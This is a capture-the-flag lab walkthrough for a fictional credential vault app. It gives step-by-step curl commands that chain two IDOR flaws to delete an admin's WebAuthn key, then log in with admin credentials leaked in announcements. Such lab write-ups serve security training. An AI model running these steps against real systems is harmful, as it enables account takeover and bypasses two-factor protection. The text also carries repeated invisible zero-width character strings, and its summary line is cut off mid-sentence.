Lab 23 — KeyVault Pro — IDOR in 2FA Device Removal

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: 2fa_bypass_via_device_removal, api_endpoint_enumeration, credential_leak_in_announcements, idor_device_deletion, idor_user_enumeration

Summary

Walkthrough of the CUSTOM Web Lab 23 — KeyVault Pro — IDOR in 2FA Device Removal. Task: enterprise credential management platform with WebAuthn 2FA; team API over-exposes security device info and device removal lacks ownership validation. Solution: chain two IDORs — enumerate admin

Description

KeyVault Pro is an enterprise credential management platform built by SecureNest Solutions. The application allows teams to securely store API keys, database credentials, and other secrets in organized vaults. It features role-based access control, WebAuthn-based two-factor authentication, team management, and comprehensive audit logging.

The platform recently rolled out WebAuthn security key support as part of a company-wide initiative to strengthen account security. All team members are encouraged to register hardware security keys for two-factor authentication, and several key personnel — including the platform administrator — have already enrolled their devices.

Your objective is to find and exploit a vulnerability in the application that allows you to access sensitive information that should be restricted to the admin user. Look carefully at how the platform manages security devices and user profiles.

Hint: Take a close look at the team member profiles. Some API responses contain more information than what's displayed on the page — use your browser's developer tools to inspect the raw JSON data returned by the team profile API. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An enterprise credential vault with WebAuthn 2FA. The goal is to exploit access control flaws to reach admin-only protected notes containing the flag.

Analysis

1. Application reconnaissance:

   • Registered a new account (testuser123 / Password123!) at /register
   • Explored the dashboard: vaults, team members, security settings, profile
   • The /team page lists 8+ team members including admin user "Marcus Webb"

2. Team API over-exposure (IDOR #1):

   • The team page JavaScript calls fetch('/api/team/' + userId)
   • Requesting GET /api/team/1 as any authenticated user returns the admin's full profile, including WebAuthn security device details not shown in the UI:

    json read-only • copy allowed Copy
   {
     "user": {
       "id": 1,
       "username": "admin",
       "full_name": "Marcus Webb",
       "role": "admin",
       "security": {
         "two_factor_enabled": true,
         "device": {
           "id": 1,
           "credential_id": "aGk1X3NlY3VyaXR5X2tleV9hZG1pbl9tYXJjdXM",
           "device_name": "YubiKey 5 NFC"
         }
       }
     }
   }

   • The credential_id is the key to the next step — it's the identifier used by the device removal endpoint ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Device removal endpoint discovery:

   • The security settings page (/settings/security) reveals the device management API
   • DELETE /api/security/devices/{credentialId} removes a registered security key
   • Critical flaw: the endpoint only checks if the user is authenticated, NOT if the credential belongs to the requesting user

4. Information disclosure in announcements:

   • GET /api/announcements returns maintenance messages
   • One announcement leaks admin recovery credentials: admin / admin2024! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

5. Team member enumeration:

   ID	Username	Role	2FA Status
   1	admin	admin	Enabled (YubiKey 5 NFC)
   2	jchen	lead	Enabled (Titan Security Key)
   3	dkumar	developer	Disabled
   4	smartinez	analyst	Disabled
   5	twright	manager	Disabled
   6	lpatel	developer	Disabled
   7	rjohnson	security	Enabled
   8	anakamura	qa	Disabled

Solution

Step 1 — Register an account

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -X POST https://TARGET/register \
  -d "username=testuser123&password=Password123!&confirm_password=Password123!&full_name=Test+User&email=test@test.com" \
  -c cookies.txt -L

Step 2 — Login and get session

 bash read-only • copy allowed Copy
curl -X POST https://TARGET/login \
  -d "username=testuser123&password=Password123!" \
  -c cookies.txt -L

Step 3 — Enumerate admin's WebAuthn credential via team API (IDOR #1)

 bash read-only • copy allowed Copy
# Get admin's profile — note the credential_id in the security section
curl -b cookies.txt https://TARGET/api/team/1

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response reveals credential_id: aGk1X3NlY3VyaXR5X2tleV9hZG1pbl9tYXJjdXM — the admin's YubiKey 5 NFC.

Step 4 — Delete admin's 2FA device (IDOR #2 — Critical)

 bash read-only • copy allowed Copy
# As our low-privilege user, delete the admin's security key
curl -X DELETE -b cookies.txt \
  https://TARGET/api/security/devices/aGk1X3NlY3VyaXR5X2tleV9hZG1pbl9tYXJjdXM

Response:

 json read-only • copy allowed Copy
{"success": true, "message": "Security key removed successfully."}

Verify by re-checking admin's profile:

 bash read-only • copy allowed Copy
curl -b cookies.txt https://TARGET/api/team/1
# Now shows: "two_factor_enabled": false

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5 — Get admin credentials from announcements

 bash read-only • copy allowed Copy
curl -b cookies.txt https://TARGET/api/announcements
# Leaked credentials: admin / admin2024!

Step 6 — Login as admin (2FA now disabled)

 bash read-only • copy allowed Copy
curl -X POST https://TARGET/login \
  -d "username=admin&password=admin2024!" \
  -c admin_cookies.txt -L

With 2FA disabled, login succeeds with just username and password — no WebAuthn challenge.

Step 7 — Access admin-only protected notes

 bash read-only • copy allowed Copy
curl -b admin_cookies.txt https://TARGET/admin/notes

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The "Master Recovery Key" note (classification: restricted) contains the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering 2fa_bypass_via_device_removal, api_endpoint_enumeration, credential_leak_in_announcements, idor_device_deletion, idor_user_enumeration was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-30 • CUSTOM • Lab 23 — KeyVault Pro — IDOR in 2FA Device Removal • Difficulty: Medium